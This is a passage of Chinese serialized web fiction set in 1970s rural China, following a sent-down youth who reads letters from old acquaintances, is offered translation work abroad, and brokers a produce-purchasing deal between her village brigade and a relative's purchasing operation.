蘑菇好吃，木耳好吃，松子榛子核桃都好吃，还特别提了句她小舅舅特别爱吃，每顿都要吃。 一看到这话，程十一就笑了。 她懂了，这是阮小舅想再要货的意思啊！ 正好最近不少社员家里都有新货了，可以收一收，回头发回去。 看完了阮家父女的来信后，程十一打开了花市的第二封信。 打开后，发现又是信中信，而且还是两个信封分别包好的那种。 这又是谁给她写的？ 第200章 你真是我妹妹 拆开其中一封，里面的字迹看起来有些幼稚，像是刚刚识字没多久的幼童写的，甚至还有些大大小小。 两张纸，却没有写多少内容。 不过光是这样，也足够让程十一明白这信是谁写来的了。 是陈奶奶。 陈奶奶来信说了王家的房子已经被分出去了，又说王海柱已经吃了花生米。 至于王家的其他人，家属区那片已经很久都没有过他们的身影了。 接着就是对她的一番叮嘱，要照顾好自己，需要什么东西就写信回去，只要是陈奶奶家里能办到的，一定都尽力办到。 程十一看完这封信后，心情是说不出的复杂。 老太太特意给自己写了这么一封信过来，真的只是为了告诉自己王家的结局，以及对自己的叮嘱吗？ 打开另外一个信封。 字迹苍劲有力。 而开篇的称呼却是让程十一一怔。 “丫头，看见信就跟看见你叔我一样啊！” 丫头？ 不是，后面那句应该是展信佳的意思吧？ 这是哪里来的大白话啊！ 不过程十一也看出来了，这信是秦爱民写给自己的。 这就让她很意外了。 那个老家伙没事闲的给自己写信做什么？ 结果看着看着，程十一就找到答案了。 不是秦爱民想要主动写这封信，而是陈奶奶找到了他，想问一下程十一的具体下乡地点。 之前程十一说过，但老太太年纪大了，没记清楚。 秦爱民不知道程十一是不是真的想和原来的人联系，所以就借口自己正要也要写信，顺便将老太太的信也给寄过去。 之后又提到了另外一件事，那就是陈奶奶的大孙子也要下乡了。 听秦爱民的意思，应该是陈奶奶想让大孙子来找程十一。 秦爱民想问问程十一的意思，如果程十一不愿意，那就不走这个后门了。 放下信，程十一的心情有些复杂。 陈奶奶的信里没有提这件事，想来也是觉得不好意思，会觉得唐突的吧！ 但秦爱民却告诉了自己，这代表了什么？ 是不是可以理解为秦爱民是想让陈奶奶的大孙子来找自己的呢？ 这件事她得想想。 拿起京都的那封信。 京都？ 自己认识的人里面，谁是京都的？ 倒是也有认识的，可关系好像都没好到能够通信的程度吧！ 展开信纸，开头称呼的两个字让程十一的嘴角又是一抽。 “丫头啊，还记得你齐爷爷不？” 齐……爷爷？ 程十一拿着信的手都明显的抖了下。 不是，谁能给她解释一下那位老人家怎么会给她写信？ 如果她没记错的话，他们俩好像也就只见过那一面吧！ 关键是，自己就是一个小透明，小虾米，怎么就让那位老人家给记住了？ 不科学！ 太不科学了！ 闭上眼睛，深吸一口气，程十一让自己平静了好一会儿，这才继续看下去。 结果越看，程十一的心情就越发复杂。 她突然感觉被那位老人家记住已经不是什么不科学的事了，而是这位老人家给自己写信竟然是问自己愿不愿意作为翻译员，跟着国家的代表去一趟国外，这就很离谱了啊！ 她的翻译能力真的没到那么流弊的地步啊！ 程十一看到后的第一个反应就是拒绝，但在看到后面提出的奖励后，她又可耻的心动了。 一天一百块钱的补助，包吃包住车接车送。 一天一百啊！ 啧，虽然她现在不缺钱了，但这钱不赚到手，那也太亏了不是。 再看出国时间，是在四月份。 算算日子，那时候应该也开始春耕了。 嗯，她突然感觉自己应该为国家出一份力的！ 答应！ 必须答应！ 程十一当即就拿出纸笔开始写回信。 只是她这边还没落笔，就听见有人冲进了自家院子，同时还在嚷嚷的喊：“十一！十一！啊啊啊啊！十一！” 是陈丽娇的声音。 程十一吓了一跳，也顾不上回信了，赶紧跳下炕就往外面迎。 在厨房门口和陈丽娇打了个对面。 “咋了？” 程十一还以为出什么大事了，赶紧就要扶住陈丽娇。 谁知陈丽娇的速度竟然更快，竟然是一把就将程十一搂进了自己的怀里，就这么搂着她连蹦带跳的。 程十一感觉自己要被捂死了。 真的，有些地方真的不是靠着吃就能补回来的，就比如现在差点就能捂死自己的地方。 “你，你冷静！” 程十一努力的让自己的头往后仰：“你先松开我，我要被你捂死了。” 激动之中的陈丽娇现在才稍微冷静了那么一点点，赶紧放开程十一，又抓着她的胳膊尖叫：“十一，我就说咱俩有缘吧！我就说你肯定是我亲妹妹！啊啊啊啊！十一，咱俩真的是亲人啊！” 程十一问号脸：“啥玩意儿？” 陈丽娇一把将手里的信展开给程十一看，还指着某一点说：“这里，你看这里！你记不记得我和你提过，我家里有个亲戚家从小就丢了一个孩子？我让我妈问了，我妈给我回信了，确实是有这么回事。” 程十一眨眨眼，指着自己的鼻子：“你怀疑我就是那个丢了的孩子？有什么证据啊？” 要真的只是凭借这么一个消息就认亲，程十一觉得她可能会认回来一大堆亲戚。 就见陈丽娇从衣兜里掏出了一张照片。 黑白色的照片，差不多巴掌大小，上面是一张合影。 中间坐着一男一女，看起来差不多四十来岁的模样，而女人的怀里有个奶团子，看不出男女，但瞧着挺胖乎的。 夫妻俩的两侧分别站着两个十七八岁的男孩儿，而在前面却蹲着五个从四五岁到十二三岁的男孩儿。 好家伙，这两口子可真厉害，生了八个孩子不说，至少有七个是男娃。 啧啧，这得羡慕死多少重男轻女的人家啊！ “你看你看！” 陈丽娇指着女人的脸：“你看这张脸眼不眼熟？” 程十一抓了抓下巴，凑近些，同时还眯起了自己的眼睛。 黑白照片本就不算清晰，再加上不大的一张上面有这么多人，想要看清每个人的五官，程十一感觉有点考验人。 第201章 回信，谈收购 也不知道是因为照片太不清晰的关系，还是说事实如此，越是细看，程十一就越感觉照片里的那个女人样貌有点眼熟。 就好像是在哪里见过似的。 但，是在哪里见过的呢？ 程十一抓了抓下巴，看向陈丽娇：“这照片怎么了？” “你来你来！” 陈丽娇拉着程十一就进了屋，直接将人拽到镜子前面，指了指镜子里的程十一，又点了下照片里的女人：“你自己看，像不像！” 被她这么一解释，程十一恍然大悟。 就说眼熟么，五官大致轮廓和自己确实很像，但这也代表不了什么啊！ 天底下长得像的人多了去了，总不能这样就断定两个人就一定有血缘关系吧！ 如果是真的，那是运气好，找到了家人。 但如果不是真的呢？那对于一直没有找到的真正的亲人来说，那该是何等的不公平？ “娇娇姐姐，虽然咱俩可能是真正亲戚这件事是件挺让人高兴的事，但认亲这种事不能就只凭长相这么一点。” 程十一转身回到炕上坐下：“如果我不是他们的亲生女儿，只不过是恰好长得像而已，那么对于他们的亲生女儿来说，那得多不公平啊！你说是不是？” 一直都处于非常兴奋中的陈丽娇一听这话，瞬间就不激动了。 “你要是这么说，好像也对哦！” 陈丽娇也坐在炕上，随手将照片放在了一旁的炕桌上：“可是，我真的感觉你肯定是我亲妹妹，咱俩肯定有血缘关系。” 这话被她说得那叫一个肯定。 程十一笑着拉着对方的手，轻轻的晃了晃：“咱俩本来就是亲姐妹啊！异父异母的亲姐妹！” “哈哈哈，对对对！” 陈丽娇一下子就被逗开心了，不过心底里多少还是有点小失望而已。 和陈丽娇闲聊了会儿，人走了，程十一也开始认真的写回信。 先给齐老回，再给阮玲玲和阮兴国回，最后是秦爱民和陈奶奶家的信。 这两封信到底要怎么回，程十一还有点拿不定主意。 拒绝或者同意，对她来说其实都没有太大的影响。 如果陈家的大孙子是个懂事听话勤快的，自己帮忙照拂一二也不是不行。 如果不是个好的，其实也无所谓，左右不和自己住，要知道知青院距离他们这里还远着呢！ 唯一需要拿捏的就是，不能让人感觉自己太热情，但也不能太冷情。 那么……就实话实说吧！说说上工的情况，说说秋收是什么样的，现在还没下雪，就说说听说的那些关于冬天有多冷的事。 回信全部写完，一共也才用了一个来小时的时间。 只不过睡是睡不着了，程十一就提着自己的战斗菜筐出了家门，直奔大队长家。 今天大队长带着人去交粮食了，大队里的干部基本上都没在。 作为大队长媳妇儿，蔡桂琴今天就没跟着去上山，留在大队里坐守大后方。 这会儿人正在院子里翻晒前两天挖回来的蘑菇、野菜之类的。 程十一站在大门口就看见人了，不过还是脆生生的打招呼。 见蔡桂琴看见自己，还笑着招手让她进去，程十一这才进了人家大门。 “你这丫头今天咋没去山上？” 蔡桂琴拉着程十一到屋檐下的凳子上坐下。 这会儿阳光正好，一直在阳光底下站着也挺晒的。 程十一说道：“没去了，本来想去跟着看看交公粮是啥样的，可我起来晚了，嘿嘿。” “你这丫头！” 蔡桂琴笑着虚点了下程十一的额头：“坐着，婶子给你冲糖水去。” “婶子，别忙活，我来是找您有事的。” 程十一连忙拉住人。 蔡桂琴一愣：“啥事啊？着急不？要是不着急，就等你叔回来的。” 这小程知青可是有本事的，蔡桂琴是真怕自己做不好，回头万一影响到他们整个大队，那她的罪过可就大了。 程十一摇头：“不着急，但也暂时不用找我叔，我就是先来问问您的意思，要是成，回头再说别的。” “啊？那行，那你和我说。” 蔡桂琴拉过另外一把小凳子就要坐下，想到什么又道：“既然不着急，那我去先给你整杯红糖水。” 见程十一拒绝，蔡桂琴又道：“正好，借着你的光，我也喝一碗，平常我要是想喝一杯，家里的那些小兔崽子们看见了一个个都要跟着喝。” 嘴上说着嫌弃，可眉眼间全是笑。 程十一自然明白这不过是个托词，但既然人家都这么坚持了，那自己也就不客气了，反正自己之前送的东西价值不低，喝一杯红糖水完全不会亏了人家就是。 一人一碗红糖水，两个人都滋溜滋溜的喝了两口，程十一这才说起了自己来找蔡桂琴的目的。 蔡桂琴想过很多种可能，唯独没想到程十一竟然是来找自己收山货的。 要说高兴，那是真高兴，但要说害怕，那也是真害怕。 “丫头啊，不是婶子不想和你换，而是，而是你要是要的少，咱们私下交换一下也没啥。可按照你刚刚说的，这是从咱们整个大队收，这数量可不老少了，万一被人举报了，咱们整个大队都落不得好。” 蔡桂琴一脸为难：“这事是真的太大了，别说是我了，就算是你叔在这里也不敢应。” 对于这一点，程十一自然是考虑到了。 数量少的，私下交换一下没人说什么，但这次她要的可不少，要不想惊动太多人，那就只能私下里偷偷摸摸的收，可那样才能收多少？ 赚钱这件事，不能放松一星半点。 主要是她如果能给整个大队带来额外收入，这可是非常有利于以后她的躺平生活的。 “婶子，这件事你放心，我是帮我老家那边的机械厂联系的收购山货任务，只不过现在任命书还得过一阵子才能到，所以我先过来问问咱们大队到底能出多少山货，要是够数，那我就不去别的大队问了，要是不够，回头还得麻烦我叔帮忙多跑几个大队帮忙凑凑嘞！” 第202章 打电话谈合作 “机，机械厂收购？” 蔡桂琴感觉自己的脑袋有点晕乎乎的，他们这山里的东西都能被那种大厂子收购了吗？ 程十一肯定的点点头：“对，就是机械厂，花市第一机械厂。” 管他是不是呢，反正她现在就这么说了。 具体怎么操作…… 按照阮玲玲信里提到的信息，她爹过了年就是正厂长了，啧，如果他能够给工厂的工人们准备一份不一样的年货，应该能拉到不少人头票吧！ 要是阮兴国真的不同意，那也没关系，自己大不了就亲自回去一趟，到时候和阮小舅好好研究研究。 相信以阮小舅的本事，弄个别的什么小厂子挂靠一下应该问题不大。 就算这样也不行，那也没关系，大不了自己收了。 反正系统仓库有保鲜功能，回头等这些东西的价格涨起来了再卖掉，那收益可就不是一星半点的多了。 总之，无论是哪种可能，对于程十一来说都是赚的。 蔡桂琴已经不知道该说什么才好了。 要真是能和那种大厂子有联系，这肯定对老头子这个大队长的威信有好处啊！ “丫头，那啥，你别着急，晚上等你叔回来了，我和你叔好好说说，回头再让他去找你，你俩再细谈，行不？” 蔡桂琴很激动，但她不敢拍板。 程十一自然是没意见了，喝完了红糖水，她就走了。 临走前，还被蔡桂琴硬塞了两把半干的蘑菇，还有两颗白菜。 得，这筐没白带出来。 回到家，放下东西，程十一就推着自行车出门了。 说收购这件事，写信是真不行，太慢了。 电报也不行，时效性也不够高，只能打电话。 打电话贵是贵了点儿，但快啊！ 来到邮局，这会儿倒是没人排队打电话，程十一拨通号码，等了没几秒钟，电话就被对方接起来了。 “你好，找哪位？” 电话里传出阮兴国的声音。 程十一当即笑眯了眼：“阮厂长，你好！我是程十一。” 这一声阮厂长把阮兴国喊得一愣。 虽说大家也会这么称呼自己，但这声音…… 尤其是在听到后面的自我介绍后，阮兴国直接被气笑了，没好气的骂道：“你个小丫头片子作什么怪？” “嘿嘿，阮叔叔，你之前说让我帮忙寻找山货货源的事我这边已经有眉目了，这不是来问问您打算要多少么，还有，那个采购合同什么时候能邮过来啊？” 程十一手指头绕着电话线，余光则是注意着周围的情况。 还行，刚刚看着自己打电话的邮局同志端着个水杯去门口的柜子上倒水去了，附近也没有其他人，她赶紧压低声音提醒道：“还有问问小舅舅要多少。” 这声音很低，哪怕是阮兴国都差点没听清楚。 不过他也只是犹豫了一瞬就明白过了。 这丫头，什么自己提的采购山货，这明明就是要和自己那个小舅子联系啊！ 胆子真是太大了，电话都打到他的办公室里了！ 阮兴国再次被气笑，没好气的说道：“你手边有没有纸笔？” “有！” 程十一赶紧从挎包里拿出纸笔。 接着，她就听见阮兴国报上了一个电话号，还说道：“具体的采购信息你让他来和我谈，其他的，你和他谈。” “啊，好嘞！” 程十一明白了，这是让自己直接联系阮小舅呢！ 阮兴国又问了下程十一在乡下的生活如何，程十一都一一回答了，也说了她已经写了回信，刚刚邮出去。 其实没邮出去，打算打完电话再邮的。 两个人没说几句就挂断了电话。 此时倒水的邮局同志也回来了，看了下时间：“八毛。” “我还要再打一个电话，这个一块钱先给你，回头不够我再添。” 程十一痛快的递给了对方一块钱。 这次电话拨过去后很长时间都没有人接，就在程十一以为不会有人接，准备放下听筒时，终于听见里面传出一个男人明显刚睡醒，还有些起床气的声音：“谁啊？” “小舅舅，是我程十一。” 程十一自报家门。 电话另一端，正在抓狂的抓着头发，一脸怒气的阮小舅瞬间表情一变，刚刚还很愤怒的语气也陡然变得非常温柔：“哎呀，是十一啊！你这孩子，怎么才想起来给小舅舅打电话啊？” “小舅舅，长话短说。” 程十一可没心情和他多闲聊天，这电话费是真的贵。 阮小舅一噎，还没想好怎么接这话，就听程十一说道：“你抓紧买票来我们这里谈采购的事，带上采购合同，介绍信这些，我们大队长要看的。” “什么？” 阮小舅差点以为自己的耳朵出了问题。 这都什么和什么？ 他一个混黑市的，让他搞什么采购合同，什么介绍信？ 开的什么国际玩笑？ 程十一皱眉。 这阮小舅的反应速度怎么好像变慢了？难不成是因为还没睡醒？ “阮厂长那边已经联系好了，不过他说了，你才是他们厂的采购负责人，让我来和你谈具体的事。不过我觉得你还是亲自来一趟比较好，电话里一句两句的也说不明白。” 被程十一这么一提醒，阮小舅终于回过神来了。 好家伙，这是把他姐夫也拉下水了啊！ 有点冒险，但不得不说，这一步如果走好了，那还真是挺不错的一条路子。 “行，我知道了。” 阮小舅当即进入工作状态：“我回头去找玲玲要你的地址。” “行，你来之前给我发个电报，等我给你回电话后再出发。” 程十一说完就挂断了电话。 一结算，得，还得再补两毛钱。 嘶，真贵！ 太贵！ 相当的贵！ 都已经来公社了，程十一也不打算就这么回去。 国营饭店还在午休时间，去供销社看看，啧，那人，说是人山人海也不为过了。 今天是各大队来交公粮的日子，来的人多，不少人趁着排队的时候就跑出来买东西了。 结果就造成了供销社今天的客流量尤其的多。 程十一果断放弃。 想了想，还是没勇气去交公粮的地方溜达一圈。 不是怕人多，也不是怕人看，主要是怕他们那个大队长又心血来潮的让她去驾驶拖拉机。 颠簸得恨不能把五脏庙全都移个位，她是真爱不起来。 第203章 她又不是白忙活 本以为顾草根下午就会回来，哪曾想等程十一终于见到大队长本人时，时间已经快到半夜了。 晚上十点多，在当下这个时代当真算得上是半夜了。 和顾草根一起来的还有他媳妇儿，以及钱会计和妇女主任王彩芬。 四个人来的路上就在担心程十一会不会已经睡着了。 要不是想到程十一提议的事情所带的影响会有多大，他们也不至于大半夜的还要赶过来。 好在程十一的房间里还有灯光透出，证明人还没睡，这才由王彩芬去敲门。 今天从公社回来后，程十一顺便“买”回来了一堆高中书籍，新新旧旧的都有。 白天怕有人被人发现，所以她就没声张。 晚上吃过饭了，将另外三个小伙伴留下来，这才将带回来的书分了分。 分完后三个人也没有着急走，就借着程十一这里的光亮开始研究讨论各自的读书情况。 相互了解过自己的学习情况后，三个人再根据各自的情况做学习计划。 程十一虽然没打算参加高考，不过看着三个小伙伴这么认真的样子，她的心里就有一种长辈看着自家晚辈认真学习的欣慰感。 以至于讨论完，她一个高兴，就顺便请三个人吃了碗面。 吃饱喝足，陈丽娇帮忙将厨房都收拾干净了，三个人这才离开。 顾草根四个人过来时，程十一也是刚刚才洗漱完，正打算拉窗帘睡觉，就被一侧院墙传来的招呼声吸引了注意力。 听声音，是妇女主任王彩芬。 都这么晚了来找自己做什么？ 程十一趿拉着鞋往外面走，出了房屋就问：“王主任，这么晚了，有啥事啊？” 话音刚落，就听大门口传来蔡桂琴的声音：“十一啊，我是你婶子，你叔他们刚送完公粮回来，这不是来找你说说山货的事。” 声音不算大，听得出来是刻意压低了声音。 程十一抓了抓下巴，有点麻爪。 她真没那么着急啊！ 不过人都来了，也真不能不让人进屋。 四个人也没进卧室，就在厨房坐着。 程十一一人给倒了一碗热水，还加了些白糖，这才坐在一旁的长条凳上：“大队长，其实也没这么急，明天说也是一样的。” “明天还有明天的活。” 顾草根也没客气，接过水碗咕咚喝了一大口。 有点烫，但能接受。 咂巴咂巴嘴，啧，居然是甜的。 顾草根眉眼间都带了笑：“听你婶子说，你能联系你老家的厂子收购山货，具体能收多少？” “我下午打电话过去问了问，具体数量还没定，不过那个厂子挺大的，听说还能帮忙联系其他厂子，所以应该差不多能做到咱们大队有多少，他们就收多少。” 程十一老老实实的坐在那，一副乖乖好学生的模样：“当然了，质量得保证，可不能啥歪瓜裂枣的都往里掺和。这次算是试试水，要是咱们能保质保量的提供货，那边应该能长时间收。” “有多少收多少？给咱们啥价啊？” 别的，顾草根没注意，他的注意力全都放在“有多少收多少”这话上了。 程十一摇头：“暂时还定不下来，但是质量标准倒是知道。” 说着，程十一看向蔡桂琴。 蔡桂琴眨眨眼，瞬间明白了程十一的意思，连忙点头：“我知道我知道。” “嗯，婶子知道就行了，我不知道咋描述，反正就是，质量得好。咱们质量好，人家那边给的价格才好。” 程十一打了个哈欠：“大概就是这么个情况了。” 顾草根其实还想再细问问，可看着程十一那困得眼睛都要睁不开的样子，还有自家媳妇儿在旁边偷偷扯自己袖子的动作后，他还是忍住了。 “行，那先这样吧！你那边有准确的消息了就和叔招呼一声。” 顾草根有点恋恋不舍的站了起来，到底还是不死心，又补充了句：“丫头啊，你也知道，咱们大队刚添置了个大家伙，一下子就去了小四千出去。虽说是分期还给你的吧，可，可也是一笔大钱了。” 程十一眨巴眨巴眼，有点懵。 不是说山货的事吗？咋突然就变成了拖拉机了？ 一旁的王彩芬倒是看出程十一的懵，赶紧解释道：“这山货换了钱了，也能缓解点大队的压力，所以咱们才这么着急的过来找你。” 程十一明白了，点点头：“行，我这边有消息了就立刻告诉你们。” 至于钱不着急还这话，程十一是肯定不会说的。 她不差钱，但也不代表她就是个散财童子。 本以为怎么也要等上个两三天的时间才能等到阮小舅的电报，可在第二天中午，邮递员就来送电报了。 约定了当天下午三点通话。 程十一也不耽搁，吃完午饭就骑车去了公社。 电话接通，阮小舅很是兴奋的表示自己会坐今天晚上的火车前往黑省找程十一，同行会带两个信得过的兄弟，以及非要跟着一起的阮玲玲。 程十一问了具体的收购量，结果得到的消息让她都非常震惊。 有多少要多少，只要不是天文数字的数量，阮小舅表示他都能吃得下。 要不是这里是在邮局，有些话不方便说，程十一都想问问他是不是一统那附近几个省的黑市天下了。 约定好了接站后，程十一就挂断电话回了大队。 依旧没逛街。 光荣大队的公粮交完了，但其他大队还没交完，所以供销社那些地方依旧是人满为患。 有了阮小舅给的底气后，程十一回到大队就直接去找了顾草根，说了是真的有多少要多少。 顾草根激动得直接在空地上转了几个圈：“好好好，丫头，叔谢谢你！叔替咱们整个大队谢谢你！” 说着，顾草根就要给程十一鞠躬。 程十一连忙闪身躲开：“叔，你别这样啊，折我寿呢！咱们还是说点正事吧！” 鞠躬什么的就算了，她又不是白忙活。 顾草根一听，连忙正色道：“好，你说！” 程十一重新坐回凳子上：“咱们一个大队能捡的山货终究是有数的，所以大队长，我想问问你和别的大队有没有相熟的，关系好，信得过的，要是有，那就提前提醒下他们，让他们也尽可能多的准备一些好的山货。” 一家富，风险大，大家富，风险平摊嘛！ 第204章 花市居民福利采购部 顾草根想了想，这才说道：“关系熟一些的肯定是有的，只要那边的手续都齐全，叔去联系其他大队长。” “不过咱们得先说好了，咋都得先可着咱们光荣大队的山货收。” 最后一句补充的话差点没把程十一说无语了。 她还能不明白这个道理？ “行，叔，那就先这样，我先回去了，过几天我去接对方的采购组成员。” 程十一说完起身就走。 顾草根应了声。 等程十一的身影都走出门口了，他这才反应过来程十一说了什么。 接采购组的工作人员？ 好家伙，这事真能成啊！ 这下他的心才算是踏实了大半。 既然对方都能安排人过来了，那肯定是真的啊！ 没想到他们光荣大队的日子越来越好，越来越有盼头了。 日子转眼就到了阮玲玲一行人到站的那天。 程十一和顾草根打了招呼，拿着介绍信，拒绝了拖拉机接送的提议，骑着自行车就离开了大队。 接人要去县里，这一来一回的晚上肯定回不来，程十一这才要了介绍信，晚上要在县里住上一个晚上。 正好，趁着这次去县里看看欧阳城，瞧瞧这小子有没有把上次的货全都换成钱回来。 骑着自行车穿过公社，等到了前后无人的路上，拿出自己的小汽车就呜呜呜的朝着县城赶。 来到欧阳城家时，发现欧阳城居然在家。 将提着的一个布兜交给欧阳城，程十一和老太太闲聊了几句。 老太太还在编竹筐，不过那双眼睛看着好像比上一次看着好一些了，至少没有总揉眼睛的动作。 闲聊了几句，程十一就离开了欧阳城家。 这会儿天色大亮，俩人也不好在大街上就并肩而行。 欧阳城送程十一出了大门，低声道：“我等会儿过去。” “嗯。” 程十一知道对方的意思，这是约在租的院子那里集合。 刚刚虽然全程都没有和欧阳城提起上次那批货的事，不过从欧阳城那舒展的眉眼中看得出来他的心情极好，看到程十一出现后就更好了。 程十一骑着自行车去了租的院子。 这院子附近都没什么人家居住，大白天的也是静悄悄的。 将自行车停在院子里，程十一进了堂屋。 一进屋，就感觉这屋里的温度没有上次来时那么阴冷了。 靠着窗户旁边的空地上多了一个铁皮炉子，虽然里面已经没有炭火在烧了，但炉子上面的水壶里还有水，摸一摸，还有残留的些许温度。 上次来还没有的，这次来就有了，可见是欧阳城准备的。 旁边的空地上有整理好的柴禾，程十一就点了炉子，又拿了几个地瓜、一把花生出来放在上面烤。 欧阳城过来时，程十一也才刚刚坐下没多会儿，连地瓜和花生的香味儿都还没烤出来。 欧阳城将门关好后，就赶紧从怀里掏出了个布包。 “程姐，这是上次的货的钱。” 欧阳城将布包打开摊在掌心给程十一开。 厚厚的大团结，还有一些零散的毛票，甚至还能看到一些票据。 “尽可能的都换成钱了，但是遇到一些不错的票，我觉得你可能会用得上，所以就做主换了一些。” 欧阳城老老实实的交代。 程十一点点头，当面将钱点了一遍，就直接塞进了自己的挎包里：“坐下说话吧！” 两个人一人坐着一个小马扎，一边烤火一边聊天。 程十一询问了下这批货什么卖得最好，大家更想要什么样的货，也问了有没有被人盯上，有没有危险。 欧阳城倒是听话，全都老老实实的回答了。 一直到程十一起身准备走人，欧阳城都没听见她问自己赚了多少钱，他还有点着急：“程姐，你，你不问问我赚了多少吗？” “你赚多少和我有什么关系？” 一句话就让这个少年郎不知道怎么接了。 程十一摆摆手：“行了，回头找个好点的房子吧！就你家那个小破房子，哪哪都透风，天越来越冷了，你受得住，老太太的身体不见得能受得住。” 话音落，人也出了房门。 程十一去国营饭店吃了碗面，临走前用一把绑了纱巾的头绳让服务员帮忙预定了晚上的桌，以及一些需要点时间做好的菜。 之后去了火车站出站口，等着阮玲玲一行人到来。 火车倒是难得的没有晚点，开着熟悉的身影，程十一笑着迎了上去。 阮小舅一行四人，其中就有跟着过来凑热闹的阮玲玲。 有了她，程十一的耳朵就没消停过。 先到了招待所，五个人开了两个房间。 程十一和阮玲玲住一屋，三位男同志一屋。 安置好后，火车四人组收拾了一番，换了一身干净的衣服，这才朝着国营饭店而去。 吃饱喝足，一行人又回了招待所。 这一次，阮小舅去了两个女孩子的房间。 跟着同行的两个人也没闲着，就这么开着门，看着斜对门，如果有人靠近，他们就会制造出声音来提醒屋里的人注意。 这次要谈的事情说是公对公交换，可实际上全都是私下里的黑账，真不适合被人听见。 阮小舅拿出了两份完全不同的合同。 一份是阮小舅和花市第一机械厂的供销合同，另外一份则是阮小舅与当地大队的采购合同。 其中供销合同里面标注了重量、单价这些细节，但在采购合同里面却并没有那么详细。 “采购合同不能写得太详细，否则咱们兄弟就没办法赚钱了。” 阮小舅倒也不藏着掖着，大大方方的表示了合同里的漏洞：“不过你可以放心，咱们都是现场验货，现场结算。” 程十一点头：“只要能保证现场结算，这个合同是不是写得详细，这一点倒是没那么重要了。” 这样做会有风险，可都在黑市做买卖了，谁还会在意这点风险？ 左右没有坑当地社员的钱，从他们手里采购山货的价格只会比当地收购高一点。 但对公交换那边的合同就必须清楚仔细，这可是要一级一级上报，随时都有可能被查验的。 唯一让程十一意外的是，就只是短短不到一天的时间，阮小舅竟然就有了一个很不错的公开身份。 花市居民福利采购部部长。 这名头，听着还怪响的嘞！ 第205章 顾草根挨批 “屈部长，失敬失敬！” 程十一对着阮小舅抱拳。 阮小舅本名屈博，这会儿称呼突然从阮小舅变成了屈部长，还真让他有点不好意思：“你这丫头还拿你长辈开起玩笑来了。” “哈哈！” 程十一爽朗大笑。 屈博解释这个采购部就是个临时部门，而且在他出发的时候，这个部门还没有通过成立，现在不过是拿出来糊弄人而已。 “我家老头子怕运输上面出问题，所以就提出来了这么个部门。估摸着现在应该已经正式成立了，等明天上午我打个电话问问。” 屈博最后补充了这么一番。 程十一了然点头。 至于价格的事，屈博和程十一都知道不可能和真正的买卖双方交底，中间肯定是要留出他们两个人的抽成。 一番讨论下来，等屈博从两个小姑娘房间出来时，脚步都是轻快的。 这买卖值啊！ 如果操作得当，这一趟下来，他年前都不用再折腾了。 第二天早上吃过早饭，屈博给家里打电话，确认了临时的福利采购部已经通过，时效三个月。 也就是说，过了春节后，这个部门就会随之解散。 程十一听完后忍不住暗自咋舌。 这个阮家，不，应该说是屈家的背景不小啊！ 在这样的时代下还能在这么短的时间里创建出这么一个部门，小背景肯定不行，那得是方方面面都有关系的才能办到。 啧，原主的命啊，有这样好的人脉却混了那样凄惨的结局。 时也命也。 现在好了，全都便宜她了。 程十一的轿车是不能拿出来开了，五个人就乘坐公交车到了公社。 到公社就去找招待所，让他们四个人稍作休整，程十一则是打算自己骑车先回大队。 这一段路还是让拖拉机来接吧，坐牛车速度太慢了。 结果她刚出招待所没多远，就看到了一辆半新不旧的拖拉机停在供销社对面的路边。 那拖拉机真是越看越眼熟。 等她骑着自行车过去细看，就听见路的另外一侧有人喊自己。 转头看去，就见自己的一个徒弟正抱着个罐头瓶子朝着自己小跑过来。 “师父，你回来了！” 大徒弟咧着嘴，露着大白牙看着程十一。 程十一点点头，指了指拖拉机：“什么情况？” “来等你的啊！” 大徒弟解释：“大队长让我一大早就过来公社等着了。” 程十一明白了。 既然这样，那她就不用折腾一趟了，赶紧让大徒弟开着拖拉机去招待所，自己则是先调转自行车车头过去喊人。 没多会儿，一行人就坐在拖拉机上一路颠簸的前往光荣大队。 屈博一行四人都穿着正装，说是正装，其实就是中山装。 就连阮玲玲都把头发盘起来了，虽然脸庞依旧稚嫩，但那气势瞧着倒还真有点那么回事的味道。 顾草根赶紧让人通知家里准备午饭，自己则是亲自接待屈博一行人。 平日里话就不多的钱会计这会儿更是闷声不吭，端茶倒水的倒是没少做。 屈博可不是出来游玩的，自然是直奔主题。 顾草根见程十一也是一副公事公办的样子，也就不啰嗦了，当即就带人去附近的社员家里看最新攒出来的山货。 数量不算多，但质量是真的不错。 质量过关，一切好说。 屈博直接拿出了提前准备好的采购合同，让光荣大队作为收货点开始收购各种山货。 “顾大队长，所有的货都是现场检查，只要检查合格的，全部当场结算。” 屈博看着顾草根：“这件事你看看要不要和你们公社招呼一下。” 顾草根想了想，点点头：“是该招呼一下。那领导同志，你们先去家里吃口饭，我这就去公社说一声。” “你家里就不去了，我们去程同志家里就好。” 屈博并没有去大队长家，毕竟这个时候去人家吃饭也都是有讲究的。 自己出口粮，或者交粮票。 就算这样，那也是特别的不自在。 程十一倒是没意见，直接将这件事揽了过来。 这会儿大队已经有不少社员全都在大队部外面守着了。 他们都知道山货能换钱，但价格是真的低，有的时候一家人忙活半个月下来可能都赚不回来一两块钱。 这钱听着似乎也不算少了，但却是用全家人全都去找山货为代价。 没人挖野菜，没人捡柴，这对于一个漫长的冬天来说，简直是再赔本不过的买卖。 但这次不一样，听说只要质量过关，价格会高一些不说，还不用他们背着大老远的往公社，往县里送。 所以大家都很好奇，也很激动，恨不能第一时间知道所有消息。 陈丽娇三人在秋收这段时间也认识了不少社员，平日里也有聊过天的。 这会儿有人知道了消息后就赶紧过来喊陈丽娇三人。 以至于程十一这边刚要带着阮玲玲四人回自己院子，就看到陈丽娇三人风风火火的跑了过来。 “十一！” 陈丽娇一看到程十一就赶紧挥手。 程十一也挥了挥胳膊，和一旁的阮玲玲解释道：“还记得我和你说过的那个人很好的小姐姐不？那就是。” 阮玲玲看着一路小跑过来的陈丽娇，眼睛亮晶晶的，充满了好奇。 三个小姑娘凑在一起，完全没有刚认识的陌生感，反而叽叽喳喳的很快就聊到了一块去。 知道中午饭还要多加五个人，耿二牛和祝成才二话不说就过来帮忙打下手。 吃饱喝足，耿二牛和祝成才还邀请屈博三位男同志去他们屋里休息，等着大队长回来。 屈博将随身带着的沉甸甸的皮包交给了程十一，之后就带着自己的两个兄弟去休息。 陈丽娇并没有待太久就回了自己家午休，阮玲玲又拉着程十一东聊西扯了好一会儿，这才沉沉睡去。 顾草根回来的时候脸色并不算太好，公社的领导不是不同意这样的采购，只是觉得顾草根越殂代疱了，居然都等事情谈成了才来公社打招呼，这不是明摆着没把公社领导当回事吗？ 被骂了好一通，最后还说合同必须是公社和对方签订后，这才让顾草根回来。 第206章 你是真要猫冬了 